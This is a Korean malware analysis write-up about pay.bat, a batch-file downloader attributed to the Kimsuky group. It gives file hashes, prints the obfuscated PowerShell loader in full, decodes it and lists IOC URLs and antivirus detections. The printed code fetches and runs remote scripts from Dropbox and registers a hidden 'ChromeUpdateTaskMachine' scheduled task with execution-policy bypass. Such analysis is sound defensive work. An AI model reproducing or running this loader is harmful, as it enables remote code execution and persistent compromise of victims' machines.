APT 김수키(Kimsuky)에서 만든 악성코드-pay.bat(2024.11,27)

오늘은 APT 김수키(Kimsuky)에서 만든 악성코드-pay.bat(2024.11,27)에 대해 글을 적어 보겠습니다.
해당 악성코드는 배치 파일을 악용하는 것이 특징이면 일단 실행이 되면 현재 폭파된 드롭박스에서 무엇가 다운로드 하는 것 같습니다.
해시
파일명: pay.bat
사이즈:1,687 Bytes
MD5:b262ac518c0114f414aaedbb4ef7c728
SHA-1:fd02470c6cc4ceb5fad3589d02e5148a8c738b83
SHA-256:8e0eb0d36bfd4e28ec6a10acccf899740df7048451229b84715e475e3c91347b

악성코드에 포함된 PowerShell 코드

악성코드에 포함된 코드

@echo off
powershell/W 1 -ep bypass -w hidden -command $cmkGna
BV=[Convert]::FromBase64String('JHBwcCA9IEpvaW4tUGF0
aCAo(J)GVudjpBcHBEYXRhKSAiY2hyb21lLnBzMSI7ICRzdHIgPSAn
JGFhYSA9IEpvaW4tUGF0aCAoJGVudjpBcHBEYXRhKSAidGVt(c)C5w
czEiOyB3Z2V0IC1VcmkgImh0dHBzOi8vZGwu(Z)HJvcGJveHVzZXJjb250ZW50LmNvbS9zY
2wvZmkvZGt1YW1scmxzcmJ5Z3NvMXN3bjhwL3NhbnRhMi1mLnR4dD9ybGtleT(1)yOGZlMHZpaWVyMW13dj
lhems1YXd5NXM5JnN0PXl2cXFmZGZ5JmRsPTAiIC1PdXRGaWxlICRhYWE7ICYgJGFhYTsgUmVtb3ZlLUl0Z
W0gLVBhdGggJGFhYSAtRm9yY2U7JzsgJH(N)0ciB8IE91dC1GaWxlIC1GaWxlUGF0aCAkcHBwIC1FbmNvZG
uZyBVVEY4OyAkYWN0aW9uID0gTmV3LVNjaGVkdWxlZFRhc2tBY3Rpb24gLUV4ZWN1dGUgJ1Bvd2VyU2hlbGwu
ZX(h)lJyAtQXJndW1lbnQgJy1XaW5kb3dTdHlsZSBIaWRkZW4gLW5vcCAgLU5vbkludGVyYWN0aXZlIC1Ob1
yb2ZpbGUgLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLUNvbW1hbmQgIi(Y)geyRhYmMgPSBKb2luLVBhdGggKC
RlbnY6QXBwRGF0YSkgXCJjaHJvbWUucHMxXCI7ICYgJGFiYzt9Iic7ICR0cmlnZ2VyID0gTmV3LVNjaGVkdW
xlZFRhc2tUcmlnZ2VyIC1Pbm(N)lIC1BdCAoR2V0LURhdGUpLkFkZE1pbnV0ZXMoNSkgLVJlcGV0aXRpb25J
bnRlcnZhbCAoTmV3LVRpbWVTcGFuIC1NaW51dGVzIDMwKTsgJHNldHRpbm(d)zID0gTmV3LVNjaGVkdW(x)l
ZFRhc2tTZXR0aW5nc1NldCAtSGlkZGVuOyBSZWdpc3Rlci1TY2hlZHVsZWRUYXNrIC1UYXNrTmFtZSAiQ2hy
b21lVXBkYXRlVGFza01hY2hpbmUiIC1BY3Rpb24gJGFjdGlvbi(A)tVHJpZ2dlciAkdHJpZ2dlciAtU2V0dG
luZ3MgJHNldHRpbmdzOyAgJGFhYSA9IEpvaW4tUGF0aCAoJGVudjpBcHBEYXRhKSAic3lzdGVtX2ZpcnN0Ln
BzMSI7IHdnZXQgLVVyaS(A)iaHR0cHM6Ly9kbC5kcm9wYm94dXNlcmNvbnRlbnQuY29tL3NjbC9maS9nN21j
c2hreDNxbW81bXZ5dGYyY3Qvc2FudGEyLXgudHh0P3(J)sa2V5PTVuYmJxZWdjNWE3N3I3NmhpeW(0)2czl5
Mmgmc3Q9NzI3Y3MxbXgmZGw9MCIgLU91dEZpbGUgJGFhYTsgJiAkYWFhOyBSZW1vdmUtSXRlbSAtUGF0aCAk
YWFhIC1Gb3JjZTs=');$U9zBwFeD = [System.Text.Encoding]::UTF8.GetString($cmkGnaBV);^&(
'{5}{0}{2}{1}{3}{4}{6}'-f 'o
ke','xp','-E','res','sio','Inv','n') $U9zBwFeD

코드 분석

먼저 Base 64를 벗겨야 하므로 CyberChef를 이용을 해보겠습니다.
먼저 벗기면 다음과 같은 결과를 볼 수가 있습니다.
$ppp = Join-Path ($env:AppData) "chrome(.)ps1"; $str = '$aaa = Join-Pa(t)h ($env:AppData) "temp(.)ps1"; wget -Uri "hxxxs://dl(.)dropboxusercontent(.)com/scl/fi/dkuamlrlsrbygso1swn8p/santa2-f(.)txt?rlkey=r8fe0viie(r)1mwv9azk5awy5s9&st=yvqqfdfy&dl=0" -OutFile $aaa; & $aaa; Remove(-)Item -Path $aaa -Force;'; $str | Out-File -FilePath $ppp -Encoding UTF8; $action = New-ScheduledTaskAction -Exec(u)te 'PowerShell(.)exe' -Argument '-Win(d)owStyle Hidden -nop  -NonIn(t)eractive -NoProfile -Execution(P)olicy Bypass -Command "(&) {$abc = Join-Path ($(e)nv:AppData) \"chrome(.)ps1\"; & $abc;}"'; $trigger = New-ScheduledTa(s)kTrigger -Once -At (G(e)t-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 30); $settings = New-ScheduledTaskS(e)ttingsSet -Hi(d)den; R(e)gister-ScheduledTask -TaskName "ChromeUpdateTaskMachine" -Action $action -Trigger $trigger -Settings $settings;  $aaa = Join-Pat(h) ($env:AppData) "system_first(.)ps1"; wget -Uri "hxxxs://dl(.)dropboxusercontent(.)com/scl/fi/g7mcshkx3qmo5mvytf2ct/santa2-x(.)txt?rlkey=5nbbqe(g)c5a77r76hiym6s9y2h&st=727cs1mx&dl=0" -OutFile $aaa; & $aaa; Remove-Item -Path $aaa -Force;
PowerShell 스크립트
1.chrome(.)ps1라는 이름의 PowerShell 스크립트를 사용자 환경 폴더(AppData)에 생성
2. 외부 URL에서 스크립트를 다운로드하여 실행
3. 새롭게 다운로드된 스크립트를 실행하고 파일을 삭제
4. Windows의 작업 스케줄러를 이용해 주기적으로 악성 스크립트를 실행하도록 설정
chrome.ps1 생성
$ppp는 AppData 폴더에 chrome.ps1 파일 경로를 저장
$str는 또 다른 PowerShell 스크립트 내용을 문자열로 생성
temp.ps1를 외부 URL(santa2-f.txt)에서 다운로드
다운로드된 temp.ps1을 실행

Base64 디코딩

실행 후 파일을 삭제
Out-File 명령으로 $str 내용을 chrome.ps1로 저장
작업 스케줄러 설정
$action:
PowerShell.exe를 실행하도록 지정
WindowStyle Hidden으로 창을 숨김
-nop,-NonInteractive, -NoProfile,-ExecutionPolicy Bypass 옵션을 사용하여 보안 제한을 우회
chrome.ps1을 실행하도록 설정
$trigger:
작업을 5분 후 한 번 실행하고 30분 간격으로 반복 실행되도록 트리거를 설정
$settings
작업을 숨김 상태로 유지
Register-ScheduledTask:
ChromeUpdateTaskMachine이라는 이름으로 스케줄된 작업을 등록
ystem_first.ps1 다운로드 및 실행
드롭박스 에서 system_first.ps1이라는 이름의 파일을 다운로드
다운로드된 파일을 실행 및 실행 후 해당 파일을 삭제

URL 주소

hxxps://dl(.)dropboxusercontent(.)com/scl/fi/dkuamlrlsrbygso1swn8p/santa2-f(.)txt?rlkey=r8fe0viie(r)1mwv9azk5awy5s9&st=yvqqfdfy&dl=0
hxxps://dl.dropboxusercontent(.)com/scl/fi/g7mcshkx3qmo5mvytf2ct/santa2-x(.)txt?rlkey=5nbbqegc5a77r76hiy(m)6s9y2h&st=727cs1mx&dl=0

2024-12-01 18:27:39 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/BAT.Agent.SC206913
ALYac:Trojan.BAT.Agent
Antiy-AVL:Trojan/BAT.Agent
Arcabit:Trojan.Generic.D4779AA0
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Trojan.GenericKD.74947232
CTX:Powershell.trojan.generic
Emsisoft:Trojan.GenericKD.74947232 (B)
eScan:Trojan.GenericKD.74947232
ESET-NOD32:BAT/Kimsuky.O
GData:Trojan.GenericKD.74947232
Google:Detected
Ikarus:Trojan-Downloader.PowerShell.Agent
Kaspersky:HEUR:Trojan.BAT.Agent.gen
Tencent:Bat.Trojan.Agent.Xdkl
Trellix (HX):Trojan.GenericKD.74947232
VIPRE:Trojan.GenericKD.74947232
결론 기본적인 보안 수칙을 잘 지키는 습관을 가지는 것이 제일 좋을 것 같습니다.